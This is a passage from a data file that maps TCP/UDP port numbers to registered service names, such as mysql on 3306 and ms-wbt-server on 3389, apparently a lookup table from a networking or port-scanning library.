"cesdinv", "2857": "simctlp", "2858": "ecnp", "2859": "activememory", "2860": "dialpad-voice1", "2861": "dialpad-voice2", "2862": "ttg-protocol", "2863": "sonardata", "2864": "astromed-main", "2865": "pit-vpn", "2866": "iwlistener", "2867": "esps-portal", "2868": "npep-messaging", "2869": "icslap", "2870": "daishi", "2871": "msi-selectplay", "2872": "radix", "2874": "dxmessagebase1", "2875": "dxmessagebase2", "2876": "sps-tunnel", "2877": "bluelance", "2878": "aap", "2879": "ucentric-ds", "2880": "synapse", "2881": "ndsp", "2882": "ndtp", "2883": "ndnp", "2884": "flashmsg", "2885": "topflow", "2886": "responselogic", "2887": "aironetddp", "2888": "spcsdlobby", "2889": "rsom", "2890": "cspclmulti", "2891": "cinegrfx-elmd", "2892": "snifferdata", "2893": "vseconnector", "2894": "abacus-remote", "2895": "natuslink", "2896": "ecovisiong6-1", "2897": "citrix-rtmp", "2898": "appliance-cfg", "19283": "keysrvr", "2900": "quicksuite", "2901": "allstorcns", "2902": "netaspi", "2903": "suitcase", "2904": "m2ua", "2905": "m3ua", "2906": "caller9", "2907": "webmethods-b2b", "2908": "mao", "2909": "funk-dialout", "2910": "tdaccess", "2911": "blockade", "2912": "epicon", "2913": "boosterware", "2914": "gamelobby", "2915": "tksocket", "2916": "elvin-server", "2917": "elvin-client", "2918": "kastenchasepad", "2919": "roboer", "2920": "roboeda", "2921": "cesdcdman", "2922": "cesdcdtrn", "2923": "wta-wsp-wtp-s", "2924": "precise-vip", "2926": "mobile-file-dl", "2927": "unimobilectrl", "2928": "redstone-cpss", "2929": "amx-webadmin", "2930": "amx-weblinx", "19315": "keyshadow", "2932": "incp", "2933": "4-tieropmgw", "2934": "4-tieropmcli", "2935": "qtp", "2936": "otpatch", "2937": "pnaconsult-lm", "2938": "sm-pas-1", "2939": "sm-pas-2", "2940": "sm-pas-3", "2941": "sm-pas-4", "2942": "sm-pas-5", "2943": "ttnrepository", "2944": "megaco-h248", "2945": "h248-binary", "2946": "fjsvmpor", "2947": "gpsd", "2948": "wap-push", "2949": "wap-pushsecure", "2950": "esip", "2951": "ottp", "2952": "mpfwsas", "2953": "ovalarmsrv", "2954": "ovalarmsrv-cmd", "2955": "csnotify", "2956": "ovrimosdbman", "2957": "jmact5", "2958": "jmact6", "2959": "rmopagt", "2960": "dfoxserver", "2961": "boldsoft-lm", "2962": "iph-policy-cli", "2963": "iph-policy-adm", "2964": "bullant-srap", "2965": "bullant-rap", "2966": "idp-infotrieve", "2967": "ssc-agent", "2968": "enpp", "2969": "essp", "2970": "index-net", "2971": "netclip", "2972": "pmsm-webrctl", "2973": "svnetworks", "2974": "signal", "2975": "fjmpcm", "2976": "cns-srv-port", "2977": "ttc-etap-ns", "2978": "ttc-etap-ds", "2979": "h263-video", "2980": "wimd", "2981": "mylxamport", "2982": "iwb-whiteboard", "2983": "netplan", "2984": "hpidsadmin", "2985": "hpidsagent", "2986": "stonefalls", "2987": "identify", "2988": "hippad", "2989": "zarkov", "2990": "boscap", "2991": "wkstn-mon", "2992": "avenyo", "2993": "veritas-vis1", "2994": "veritas-vis2", "2995": "idrs", "2996": "vsixml", "2997": "rebol", "2998": "realsecure", "2999": "remoteware-un", "3000": "remoteware-cl", "3001": "origo-native", "3002": "remoteware-srv", "3003": "cgms", "3004": "csoftragent", "3005": "geniuslm", "3006": "ii-admin", "3007": "lotusmtap", "3008": "midnight-tech", "3009": "pxc-ntfy", "3010": "ping-pong", "3011": "trusted-web", "3012": "twsdss", "3013": "gilatskysurfer", "19398": "mtrgtrans", "3015": "nati-dstp", "3016": "notify-srvr", "3017": "event-listener", "3018": "srvc-registry", "3019": "resource-mgr", "3020": "cifs", "3021": "agriserver", "3022": "csregagent", "3023": "magicnotes", "3024": "nds-sso", "3025": "arepa-raft", "3026": "agri-gateway", "3027": "LiebDevMgmt-C", "3028": "LiebDevMgmt-DM", "3029": "LiebDevMgmt-A", "3030": "arepa-cas", "3031": "eppc", "3032": "redwood-chat", "3033": "pdb", "3034": "osmosis-aeea", "3035": "fjsv-gssagt", "3036": "hagel-dump", "3037": "hp-san-mgmt", "3038": "santak-ups", "3039": "cogitate", "3040": "tomato-springs", "3041": "di-traceware", "3042": "journee", "3043": "brp", "3044": "epp", "3045": "responsenet", "3046": "di-ase", "3047": "hlserver", "3048": "pctrader", "3049": "nsws", "3050": "gds-db", "3051": "galaxy-server", "3052": "apc-3052", "3053": "dsom-server", "3054": "amt-cnf-prot", "3055": "policyserver", "3056": "cdl-server", "3057": "goahead-fldup", "3058": "videobeans", "3059": "qsoft", "3060": "interserver", "3061": "cautcpd", "3062": "ncacn-ip-tcp", "3063": "ncadg-ip-udp", "3064": "rprt", "3065": "slinterbase", "3066": "netattachsdmp", "3067": "fjhpjp", "3068": "ls3bcast", "3069": "ls3", "3070": "mgxswitch", "3071": "csd-mgmt-port", "3072": "csd-monitor", "3073": "vcrp", "3074": "xbox", "3075": "orbix-locator", "3076": "orbix-config", "3077": "orbix-loc-ssl", "3078": "orbix-cfg-ssl", "3079": "lv-frontpanel", "3080": "stm-pproc", "3081": "tl1-lv", "3082": "tl1-raw", "3083": "tl1-telnet", "3084": "itm-mccs", "3085": "pcihreq", "3086": "jdl-dbkitchen", "3087": "asoki-sma", "3088": "xdtp", "3089": "ptk-alink", "3090": "stss", "3091": "1ci-smcs", "3093": "rapidmq-center", "3094": "rapidmq-reg", "3095": "panasas", "3096": "ndl-aps", "3097": "itu-bicc-stc", "3098": "umm-port", "3099": "chmd", "3100": "opcon-xps", "3101": "hp-pxpib", "3102": "slslavemon", "3103": "autocuesmi", "3104": "autocuetime", "3105": "cardbox", "3106": "cardbox-http", "3107": "business", "3108": "geolocate", "3109": "personnel", "3110": "sim-control", "3111": "wsynch", "3112": "ksysguard", "3113": "cs-auth-svr", "3114": "ccmad", "3115": "mctet-master", "3116": "mctet-gateway", "3117": "mctet-jserv", "3118": "pkagent", "3119": "d2000kernel", "3120": "d2000webserver", "3121": "pcmk-remote", "3122": "vtr-emulator", "3123": "edix", "3124": "beacon-port", "3125": "a13-an", "3127": "ctx-bridge", "3128": "ndl-aas", "3129": "netport-id", "3130": "icpv2", "3131": "netbookmark", "3132": "ms-rule-engine", "3133": "prism-deploy", "3134": "ecp", "3135": "peerbook-port", "3136": "grubd", "3137": "rtnt-1", "3138": "rtnt-2", "3139": "incognitorv", "3140": "ariliamulti", "3141": "vmodem", "3142": "rdc-wh-eos", "3143": "seaview", "3144": "tarantella", "3145": "csi-lfap", "3146": "bears-02", "3147": "rfio", "3148": "nm-game-admin", "3149": "nm-game-server", "3150": "nm-asses-admin", "3151": "nm-assessor", "3152": "feitianrockey", "3153": "s8-client-port", "3154": "ccmrmi", "3155": "jpegmpeg", "3156": "indura", "3157": "e3consultants", "3158": "stvp", "3159": "navegaweb-port", "3160": "tip-app-server", "3161": "doc1lm", "3162": "sflm", "3163": "res-sap", "3164": "imprs", "3165": "newgenpay", "3166": "sossecollector", "3167": "nowcontact", "3168": "poweronnud", "3169": "serverview-as", "3170": "serverview-asn", "3171": "serverview-gf", "3172": "serverview-rm", "3173": "serverview-icc", "3174": "armi-server", "3175": "t1-e1-over-ip", "3176": "ars-master", "3177": "phonex-port", "3178": "radclientport", "3179": "h2gf-w-2m", "3180": "mc-brk-srv", "3181": "bmcpatrolagent", "3182": "bmcpatrolrnvu", "3183": "cops-tls", "3184": "apogeex-port", "3185": "smpppd", "3186": "iiw-port", "3187": "odi-port", "3188": "brcm-comm-port", "3189": "pcle-infex", "3190": "csvr-proxy", "3191": "csvr-sslproxy", "3192": "firemonrcc", "3193": "spandataport", "3194": "magbind", "3195": "ncu-1", "3196": "ncu-2", "3197": "embrace-dp-s", "3198": "embrace-dp-c", "3199": "dmod-workspace", "3200": "tick-port", "3201": "cpq-tasksmart", "3202": "intraintra", "3203": "netwatcher-mon", "3204": "netwatcher-db", "3205": "isns", "3206": "ironmail", "3207": "vx-auth-port", "3208": "pfu-prcallback", "3209": "netwkpathengine", "3210": "flamenco-proxy", "3211": "avsecuremgmt", "3212": "surveyinst", "3213": "neon24x7", "3214": "jmq-daemon-1", "3215": "jmq-daemon-2", "3216": "ferrari-foam", "3217": "unite", "3218": "smartpackets", "3219": "wms-messenger", "3220": "xnm-ssl", "3221": "xnm-clear-text", "3222": "glbp", "3223": "digivote", "3224": "aes-discovery", "3225": "fcip-port", "3226": "isi-irp", "3227": "dwnmshttp", "3228": "dwmsgserver", "3229": "global-cd-port", "3230": "sftdst-port", "3231": "vidigo", "3232": "mdtp", "3233": "whisker", "3234": "alchemy", "3235": "mdap-port", "3236": "apparenet-ts", "3237": "apparenet-tps", "3238": "apparenet-as", "3239": "apparenet-ui", "3240": "triomotion", "3241": "sysorb", "3242": "sdp-id-port", "3243": "timelot", "3244": "onesaf", "3245": "vieo-fe", "3246": "dvt-system", "3247": "dvt-data", "3248": "procos-lm", "3249": "ssp", "3250": "hicp", "3251": "sysscanner", "3252": "dhe", "3253": "pda-data", "3254": "pda-sys", "3255": "semaphore", "3256": "cpqrpm-agent", "3257": "cpqrpm-server", "3258": "ivecon-port", "3259": "epncdp2", "3260": "iscsi-target", "3261": "winshadow", "3262": "necp", "3263": "ecolor-imager", "3264": "ccmail", "3265": "altav-tunnel", "3266": "ns-cfg-server", "3267": "ibm-dial-out", "3268": "msft-gc", "3269": "msft-gc-ssl", "3270": "verismart", "3271": "csoft-prev", "3272": "user-manager", "3273": "sxmp", "3274": "ordinox-server", "3275": "samd", "3276": "maxim-asics", "3277": "awg-proxy", "3278": "lkcmserver", "3279": "admind", "3280": "vs-server", "3281": "sysopt", "3282": "datusorb", "3284": "4talk", "3285": "plato", "3286": "e-net", "3287": "directvdata", "3288": "cops", "3289": "enpc", "3290": "caps-lm", "3291": "sah-lm", "3292": "cart-o-rama", "3293": "fg-fps", "3294": "fg-gip", "3295": "dyniplookup", "3296": "rib-slm", "3297": "cytel-lm", "3298": "deskview", "3299": "pdrncs", "3300": "ceph", "3302": "mcs-fastmail", "3303": "opsession-clnt", "3304": "opsession-srvr", "3305": "odette-ftp", "3306": "mysql", "3307": "opsession-prxy", "3308": "tns-server", "3309": "tns-adv", "3310": "dyna-access", "3311": "mcns-tel-ret", "3312": "appman-server", "3313": "uorb", "3314": "uohost", "3315": "cdid", "3316": "aicc-cmi", "3317": "vsaiport", "3318": "ssrip", "3319": "sdt-lmd", "3320": "officelink2000", "3321": "vnsstr", "3322": "active-net", "3323": "active-net", "3324": "active-net", "3325": "active-net", "3326": "sftu", "3327": "bbars", "3328": "egptlm", "3329": "hp-device-disc", "3330": "mcs-calypsoicf", "3331": "mcs-messaging", "3332": "mcs-mailsvr", "3333": "dec-notes", "3334": "directv-web", "3335": "directv-soft", "3336": "directv-tick", "3337": "directv-catlg", "3338": "anet-b", "3339": "anet-l", "3340": "anet-m", "3341": "anet-h", "3342": "webtie", "3343": "ms-cluster-net", "3344": "bnt-manager", "3345": "influence", "3346": "trnsprntproxy", "3347": "phoenix-rpc", "3348": "pangolin-laser", "3349": "chevinservices", "3350": "findviatv", "3351": "btrieve", "3352": "ssql", "3353": "fatpipe", "3354": "suitjd", "3355": "ordinox-dbase", "3356": "upnotifyps", "3357": "adtech-test", "3358": "mpsysrmsvr", "3359": "wg-netforce", "3360": "kv-server", "3361": "kv-agent", "3362": "dj-ilm", "3363": "nati-vi-server", "3364": "creativeserver", "3365": "contentserver", "3366": "creativepartnr", "3367": "satvid-datalnk", "3368": "satvid-datalnk", "3369": "satvid-datalnk", "3370": "satvid-datalnk", "3371": "satvid-datalnk", "3372": "tip2", "3373": "lavenir-lm", "3374": "cluster-disc", "3375": "vsnm-agent", "3376": "cdbroker", "3377": "cogsys-lm", "3378": "wsicopy", "3379": "socorfs", "3380": "sns-channels", "3381": "geneous", "3382": "fujitsu-neat", "3383": "esp-lm", "3384": "hp-clic", "3385": "qnxnetman", "3386": "gprs-sig", "3387": "backroomnet", "3388": "cbserver", "3389": "ms-wbt-server", "3390": "dsc", "565": "whoami", "3392": "efi-lm", "3393": "d2k-tapestry1", "3394": "d2k-tapestry2", "3395": "dyna-lm", "3396": "printer-agent", "566": "streettalk", "3398": "mercantile", "3399": "csms", "3400": "csms2", "3401": "filecast", "3402": "fxaengine-net", "19788": "mle", "3405": "nokia-ann-ch1", "3406": "nokia-ann-ch2", "3407": "ldap-admin", "3408": "BESApi", "3409": "networklens", "3410": "networklenss", "3411": "biolink-auth", "3412": "xmlblaster", "3413": "svnet", "3414": "wip-port", "3415": "bcinameservice", "3416": "commandport", "3417": "csvr", "3418": "rnmap", "3419": "softaudit", "3420": "ifcp-port", "3421": "bmap", "3422": "rusb-sys-port", "3423": "xtrm", "3424": "xtrms", "3425": "agps-port", "3426": "arkivio", "3427": "websphere-snmp", "3428": "twcss", "3429": "gcsp", "3430": "ssdispatch", "3431": "ndl-als", "3432": "osdcp", "3433": "opnet-smp", "3434": "opencm", "3435": "pacom", "3436": "gc-config", "3437": "autocueds", "3438": "spiral-admin", "3439": "hri-port", "3440": "ans-console", "3441": "connect-client", "3442": "connect-server", "3443": "ov-nnm-websrv", "3444": "denali-server", "3445": "monp", "3446": "3comfaxrpc", "3447": "directnet", "3448": "dnc-port", "3449": "hotu-chat", "3450": "castorproxy", "3451": "asam", "3452": "sabp-signal", "3453": "pscupd", "3454": "mira", "3455": "prsvp", "3456": "vat", "3457": "vat-control", "3458": "d3winosfi", "3459": "integral", "3460": "edm-manager", "3461": "edm-stager", "3462": "edm-std-notify", "3463": "edm-adm-notify", "3464": "edm-mgr-sync", "3465": "edm-mgr-cntrl", "3466": "workflow", "3467": "rcst", "3468": "ttcmremotectrl", "3469": "pluribus", "3470": "jt400", "3471": "jt400-ssl", "3472": "jaugsremotec-1", "3473": "jaugsremotec-2", "3474": "ttntspauto", "3475": "genisar-port", "3476": "nppmp", "3477": "ecomm", "3478": "turn", "3479": "twrpc", "3480": "plethora", "3481": "cleanerliverc", "3482": "vulture", "3483": "slim-devices", "3484": "gbs-stp", "3485": "celatalk", "3486": "ifsf-hb-port", "3487": "ltcudp", "3488": "fs-rh-srv", "3489": "dtp-dia", "3490": "colubris", "3491": "swr-port", "3492": "tvdumtray-port", "3493": "nut", "3494": "ibm3494", "3495": "seclayer-tcp", "3496": "seclayer-tls", "3497": "ipether232port", "3498": "dashpas-port", "3499": "sccip-media", "3500": "rtmp-port", "3501": "isoft-p2p", "3502": "avinstalldisc", "3503": "lsp-ping", "3504": "ironstorm", "3505": "ccmcomm", "3506": "apc-3506", "3507": "nesh-broker", "3508": "interactionweb", "3509": "vt-ssl", "3510": "xss-port", "3511": "webmail-2", "3512": "aztec", "3513": "arcpd", "3514": "must-p2p", "3515": "must-backplane", "3516": "smartcard-port", "3517": "802-11-iapp", "3518": "artifact-msg", "3519": "nvmsgd", "3520": "galileolog", "3521": "mc3ss", "3522": "nssocketport", "3523": "odeumservlink", "3524": "ecmport", "3525": "eisport", "3526": "starquiz-port", "3527": "beserver-msg-q", "3528": "jboss-iiop", "3529": "jboss-iiop-ssl", "3530": "gf", "3531": "joltid", "3532": "raven-rmp", "3533": "raven-rdp", "3534": "urld-port", "3535": "ms-la", "3536": "snac", "3537": "ni-visa-remote", "3538": "ibm-diradm", "3539": "ibm-diradm-ssl", "3540": "pnrp-port", "3541": "voispeed-port", "3542": "hacl-monitor", "3543": "qftest-lookup", "3544": "teredo", "3545": "camac", "3547": "symantec-sim", "3548": "interworld", "3549": "tellumat-nms", "3550": "ssmpp", "3551": "apcupsd", "3552": "taserver", "3553": "rbr-discovery", "3554": "questnotify", "3555": "razor", "3556": "sky-transport", "3557": "personalos-001", "3558": "mcp-port", "3559": "cctv-port", "3560": "iniserve-port", "3561": "bmc-onekey", "3562": "sdbproxy", "3563": "watcomdebug", "3564": "esimport", "3565": "m2pa", "3566": "quest-data-hub", "3567": "dof-eps", "3568": "dof-tunnel-sec", "3569": "mbg-ctrl", "3570": "mccwebsvr-port", "3571": "megardsvr-port", "3572": "megaregsvrport", "3573": "tag-ups-1", "3574": "dmaf-server", "3575": "ccm-port", "3576": "cmc-port", "3577": "config-port", "3578": "data-port", "3579": "ttat3lb", "3580": "nati-svrloc", "3581": "kfxaclicensing", "3582": "press", "3583": "canex-watch", "3584": "u-dbap", "3585": "emprise-lls", "3586": "emprise-lsc", "3587": "p2pgroup", "3588": "sentinel", "3589": "isomair", "3590": "wv-csp-sms", "3591": "gtrack-server", "3592": "gtrack-ne", "3593": "bpmd", "3594": "mediaspace", "3595": "shareapp", "3596": "iw-mmogame", "3597": "a14", "3598": "a15", "3599": "quasar-server", "3600": "trap-daemon", "3601": "visinet-gui", "3602": "infiniswitchcl", "3603": "int-rcv-cntrl", "3604": "bmc-jmx-port", "3605": "comcam-io", "3606": "splitlock", "3607": "precise-i3", "3608": "trendchip-dcp", "3609": "cpdi-pidas-cm", "3610": "echonet", "3611": "six-degrees", "3612": "hp-dataprotect", "3613": "alaris-disc", "19998": "iec-104-sec", "19999": "dnp-sec", "20000": "dnp", "3617": "sharp-server", "20002": "commtact-http", "20003": "commtact-https", "3620": "ep-pcp", "20005": "openwebnet", "3622": "ff-lr-port", "3623": "haipe-discover", "3624": "dist-upgrade", "3625": "volley", "3626": "bvcdaemon-port", "3627": "jamserverport", "20012": "ss-idi-disc", "3629": "escvpnet", "20014": "opendeploy", "3631": "cs-services", "3632": "distcc", "3633": "wacp", "3634": "hlibmgr", "3635": "sdo", "3636": "servistaitsm", "3637": "scservp", "3638": "ehp-backup", "3639": "xap-ha", "3640": "netplay-port1", "3641": "netplay-port2", "3642": "juxml-port", "36411": "wlcp", "36412": "s1-control", "3645": "cyc", "3646": "xss-srv-port", "3647": "splitlock-gw", "3648": "fjcp", "3649": "nmmp", "20034": "nburn-id", "3651": "xrpc-registry", "3652": "vxcrnbuport", "3653": "tsp", "36422": "x2-control", "36423": "slmap", "36424": "nq-ap", "3657": "immedianet-bcn", "3658": "ps-ams", "3659": "apple-sasl", "3660": "can-nds-ssl", "3661": "can-ferret-ssl", "20046": "tmophl7mts", "3663": "dtp", "20048": "mountd", "20049": "nfsrdma", "3666": "eserver-pap", "611": "npmp-gui", "3668": "dell-rm-port", "3669": "casanswmgmt", "3670": "smile", "3671": "efcp", "3672": "lispworks-orb", "20057": "avesterra", "3674": "wininstall-ipc", "36443": "m2ap", "36444": "m3ap", "3677": "roverlog", "3678": "ipr-dglt", "3680": "npds-tracker", "3681": "bts-x73", "3682": "cas-mapi", "3683": "bmc-ea", "3684": "faxstfx-port", "3685": "dsx-agent", "3686": "tnmpv2", "3687": "simple-push", "3688": "simple-push-s", "3689": "daap", "3690": "svn", "3691": "magaya-network", "3692": "intelsync", "3693": "easl", "36462": "xw-control", "3695": "bmc-data-coll", "3696": "telnetcpcd", "3697": "nw-license", "3698": "sagectlpanel", "3699": "kpn-icw", "3700": "lrs-paging", "3701": "netcelera", "3702": "ws-discovery", "3703": "adobeserver-3", "3704": "adobeserver-4", "3705": "adobeserver-5", "3706": "rt-event", "3707": "rt-event-s", "3708": "sun-as-iiops", "3709": "ca-idms", "3710": "portgate-auth", "3711": "edb-server2", "3712": "sentinel-ent", "3713": "tftps", "3714": "delos-dms", "3715": "anoto-rendezv", "3716": "wv-csp-sms-cir", "3717": "wv-csp-udp-cir", "3718": "opus-services", "3719": "itelserverport", "3720": "ufastro-instr", "3721": "xsync", "3722": "xserveraid", "3723": "sychrond", "3724": "blizwow", "3725": "na-er-tip", "3726": "array-manager", "3727": "e-mdu", "3728": "e-woa", "3729": "fksp-audit", "3730": "client-ctrl", "3731": "smap", "3732": "m-wnn", "3733": "multip-msg", "3734": "synel-data", "3735": "pwdis", "3736": "rs-rmi", "3737": "xpanel", "3738": "versatalk", "623": "oob-ws-http", "3740": "heartbeat", "3741": "wysdma", "3742": "cst-port", "3743": "ipcs-command", "3744": "sasg", "3745": "gw-call-port", "3746": "linktest", "3747": "linktest-s", "3748": "webdata", "3749": "cimtrak", "3750": "cbos-ip-port", "3751": "gprs-cube", "3752": "vipremoteagent", "3753": "nattyserver", "3754": "timestenbroker", "3755": "sas-remote-hlp", "36524": "febooti-aw", "3757": "grf-port", "3758": "apw-registry", "3759": "exapt-lmgr", "3760": "adtempusclient", "3761": "gsakmp", "3762": "gbs-smp", "3763": "xo-wave", "3764": "mni-prot-rout", "3765": "rtraceroute", "3766": "sitewatch-s", "3767": "listmgr-port", "3768": "rblcheckd", "3769": "haipe-otnk", "3770": "cindycollab", "3771": "paging-port", "3772": "ctp", "3773": "ctdhercules", "3774": "zicom", "3775": "ispmmgr", "3776": "dvcprov-port", "3777": "jibe-eb", "3778": "c-h-it-port", "3779": "cognima", "3780": "nnp", "3781": "abcvoice-port", "3782": "iso-tp0s", "20167": "tolfab", "3784": "bfd-control", "3785": "bfd-echo", "3786": "upstriggervsw", "3787": "fintrx", "3788": "isrp-port", "3789": "remotedeploy", "3790": "quickbooksrds", "3791": "tvnetworkvideo", "3792": "sitewatch", "3793": "dcsoftware", "3794": "jaus", "3795": "myblast", "3796": "spw-dialer", "3797": "idps", "3798": "minilock", "3799": "radius-dynauth", "3800": "pwgpsi", "3801": "ibm-mgr", "3802": "vhd", "3803": "soniqsync", "3804": "iqnet-port", "3805": "tcpdataserver", "3806": "wsmlb", "3807": "spugna", "3808": "sun-as-iiops-ca", "3809": "apocd", "3810": "wlanauth", "3811": "amp", "3812": "neto-wol-server", "3813": "rap-ip", "3814": "neto-dcs", "3815": "lansurveyorxml", "3816": "sunlps-http", "3817": "tapeware", "20202": "ipdtp-port", "3819": "epl-slp", "3820": "scp", "3821": "pmcp", "3822": "acp-discovery", "3823": "acp-conduit", "3824": "acp-policy", "3825": "ffserver", "3826": "warmux", "3827": "netmpi", "3828": "neteh", "3829": "neteh-ext", "3830": "cernsysmgmtagt", "3831": "dvapps", "3832": "xxnetserver", "3833": "aipn-auth", "3834": "spectardata", "3835": "spectardb", "3836": "markem-dcp", "3837": "mkm-discovery", "20222": "ipulse-ics", "3839": "amx-rms", "3840": "flirtmitmir", "3841": "shiprush-db-svr", "3842": "nhci", "3843": "quest-agent", "3844": "rnm", "3845": "v-one-spp", "3846": "an-pcp", "3847": "msfw-control", "3848": "item", "3849": "spw-dnspreload", "3850": "qtms-bootstrap", "3851": "spectraport", "3852": "sse-app-config", "3853": "sscan", "3854": "stryker-com", "3855": "opentrac", "3856": "informer", "3857": "trap-port", "3858": "trap-port-mom", "3859": "nav-port", "3860": "sasp", "3861": "winshadow-hd", "3862": "giga-pocket", "3863": "asap-udp", "3864": "asap-tcp-tls", "3865": "xpl", "3866": "dzdaemon", "3867": "dzoglserver", "3868": "diameter", "3869": "ovsam-mgmt", "3870": "ovsam-d-agent", "3871": "avocent-adsap", "3872": "oem-agent", "3873": "fagordnc", "3874": "sixxsconfig", "3875": "pnbscada", "3876": "dl-agent", "3877": "xmpcr-interface", "3878": "fotogcad", "3879": "appss-lm", "3880": "igrs", "3881": "idac", "3882": "msdts1", "3883": "vrpn", "3884": "softrack-meter", "3885": "topflow-ssl", "3886": "nei-management", "3887": "ciphire-data", "3888": "ciphire-serv", "3889": "dandv-tester", "3890": "ndsconnect", "3891": "rtc-pm-port", "3892": "pcc-image-port", "3893": "cgi-starapi", "3894": "syam-agent", "3895": "syam-smc", "3896": "sdo-tls", "3897": "sdo-ssh", "3898": "senip", "3899": "itv-control", "3900": "udt-os", "3901": "nimsh", "3902": "nimaux", "3903": "charsetmgr", "3904": "omnilink-port", "3905": "mupdate", "3906": "topovista-data", "3907": "imoguia-port", "3908": "hppronetman", "3909": "surfcontrolcpa", "3910": "prnrequest", "3911": "prnstatus", "3912": "gbmt-stars", "3913": "listcrt-port", "3914": "listcrt-port-2", "3915": "agcat", "3916": "wysdmc", "3917": "aftmux", "3918": "pktcablemmcops", "3919": "hyperip", "3920": "exasoftport1", "3921": "herodotus-net", "3922": "sor-update", "3923": "symb-sb-port", "3924": "mpl-gprs-port", "3925": "zmp", "3926": "winport", "3927": "natdataservice", "3928": "netboot-pxe", "3929": "smauth-port", "3930": "syam-webserver", "3931": "msr-plugin-port", "36700": "mapx", "3933": "plbserve-port", "3934": "sunfm-port", "3935": "sdp-portmapper", "3936": "mailprox", "3937": "dvbservdsc", "3938": "dbcontrol-agent", "3939": "aamp", "3940": "xecp-node", "3941": "homeportal-web", "3942": "srdp", "3943": "tig", "3944": "sops", "3945": "emcads", "3946": "backupedge", "3947": "ccp", "3948": "apdap", "3949": "drip", "3950": "namemunge", "3951": "pwgippfax", "3952": "i3-sessionmgr", "3953": "xmlink-connect", "3954": "adrep", "3955": "p2pcommunity", "3956": "gvcp", "3957": "mqe-broker", "3958": "mqe-agent", "3959": "treehopper", "3960": "bess", "3961": "proaxess", "3962": "sbi-agent", "3391": "savant", "3964": "sasggprs", "3965": "ati-ip-to-ncpe", "3966": "bflckmgr", "3967": "ppsms", "3968": "ianywhere-dbns", "3969": "landmarks", "3970": "lanrevagent", "3971": "lanrevserver", "3972": "iconp", "3973": "progistics", "3974": "citysearch", "3975": "airshot", "3976": "opswagent", "3977": "opswmanager", "3978": "secure-cfg-svr", "3979": "smwan", "3980": "acms", "3981": "starfish", "3982": "eis", "3983": "eisp", "3984": "mapper-nodemgr", "3985": "mapper-mapethd", "3986": "mapper-ws-ethd", "3987": "centerline", "3988": "dcs-config", "3989": "bv-queryengine", "3990": "bv-is", "3991": "bv-smcsrv", "3992": "bv-ds", "3993": "bv-agent", "3995": "iss-mgmt-ssl", "3996": "abcsoftware", "3997": "agentsease-db", "3998": "dnx", "3397": "cloanto-lm", "4000": "terabase", "4001": "newoak", "4002": "pxc-spvr-ft", "4003": "pxc-splr-ft", "4004": "pxc-roid", "4005": "pxc-pin", "4006": "pxc-spvr", "4007": "pxc-splr", "4008": "netcheque", "4009": "chimera-hwm", "4010": "samsung-unidex", "4011": "altserviceboot", "4012": "pda-gate", "4013": "acl-manager", "4014": "taiclock", "4015": "talarian-mcast1", "4016": "talarian-mcast2", "4017": "talarian-mcast3", "4018": "talarian-mcast4", "4019": "talarian-mcast5", "4020": "trap", "4021": "nexus-portal", "4022": "dnox", "4023": "esnm-zoning", "4024": "tnp1-port", "4025": "partimage", "4026": "as-debug", "4027": "bxp", "4028": "dtserver-port", "4029": "ip-qsig", "4030": "jdmn-port", "4031": "suucp", "4032": "vrts-auth-port", "4033": "sanavigator", "4034": "ubxd", "4035": "wap-push-http", "4036": "wap-push-https", "4037": "ravehd", "4038": "fazzt-ptp", "4039": "fazzt-admin", "4040": "yo-main", "4041": "houston", "4042": "ldxp", "4043": "nirp", "4044": "ltp", "4045": "npp", "4046": "acp-proto", "4047": "ctp-state", "4049": "wafs", "4050": "cisco-wafs", "4051": "cppdp", "4052": "interact", "4053": "ccu-comm-1", "4054": "ccu-comm-2", "4055": "ccu-comm-3", "4056": "lms", "4057": "wfm", "4058": "kingfisher", "4059": "dlms-cosem", "4060": "dsmeter-iatc", "4061": "ice-location", "4062": "ice-slocation", "4063": "ice-router", "4064": "ice-srouter", "4065": "avanti-cdp", "4066": "pmas", "4067": "idp", "4068": "ipfltbcst", "4069": "minger", "4070": "tripe", "4071": "aibkup", "4072": "zieto-sock", "4073": "iRAPP", "4074": "cequint-cityid", "4075": "perimlan", "4076": "seraph", "4077": "ascomalarm", "4078": "cssp", "4079": "santools", "4080": "lorica-in", "4081": "lorica-in-sec", "4082": "lorica-out", "4083": "lorica-out-sec", "4084": "fortisphere-vm", "4085": "ezmessagesrv", "4086": "ftsync", "4087": "applusservice", "4088": "npsp", "4089": "opencore", "4090": "omasgport", "4091": "ewinstaller", "4092": "ewdgs", "4093": "pvxpluscs", "4094": "sysrqd", "4095": "xtgui", "4096": "bre", "4097": "patrolview", "4098": "drmsfsd", "4099": "dpcp", "4100": "igo-incognito", "4101": "brlp-0", "4102": "brlp-1", "4103": "brlp-2", "4104": "brlp-3", "4105": "shofar", "4106": "synchronite", "4107": "j-ac", "4108": "accel", "4109": "izm", "4110": "g2tag", "4111": "xgrid", "4112": "apple-vpns-rp", "4113": "aipn-reg", "4114": "jomamqmonitor", "4115": "cds", "4116": "smartcard-tls", "4117": "hillrserv", "4118": "netscript", "4119": "assuria-slm", "4121": "e-builder", "4122": "fprams", "4123": "z-wave", "4124": "tigv2", "4125": "opsview-envoy", "4126": "ddrepl", "4127": "unikeypro", "4128": "nufw", "4129": "nuauth", "4130": "fronet", "4131": "stars", "4132": "nuts-dem", "4133": "nuts-bootp", "4134": "nifty-hmi", "4135": "cl-db-attach", "4136": "cl-db-request", "4137": "cl-db-remote", "4138": "nettest", "4139": "thrtx", "4140": "cedros-fds", "4141": "oirtgsvc", "4142": "oidocsvc", "4143": "oidsr", "4145": "vvr-control", "4146": "tgcconnect", "4147": "vrxpservman", "4148": "hhb-handheld", "4149": "agslb", "4150": "PowerAlert-nsa", "4151": "menandmice-noh", "4152": "idig-mux", "4153": "mbl-battd", "4154": "atlinks", "4155": "bzr", "4156": "stat-results", "4157": "stat-scanner", "4158": "stat-cc", "4159": "nss", "4160": "jini-discovery", "4161": "omscontact", "4162": "omstopology", "4163": "silverpeakpeer", "4164": "silverpeakcomm", "4165": "altcp", "4166": "joost", "4167": "ddgn", "4168": "pslicser", "4169": "iadt-disc", "4170": "d-cinema-csp", "4171": "ml-svnet", "4172": "pcoip", "4173": "mma-discovery", "4174": "sm-disc", "4175": "bccp", "4176": "tl-ipcproxy", "4177": "wello", "4178": "storman", "4179": "MaxumSP", "4180": "httpx", "4181": "macbak", "4182": "pcptcpservice", "4183": "cyborgnet", "4184": "universe-suite", "4185": "wcpp", "4186": "boxbackupstore", "4187": "csc-proxy", "4188": "vatata", "4189": "pcep", "4190": "sieve", "4191": "dsmipv6", "4192": 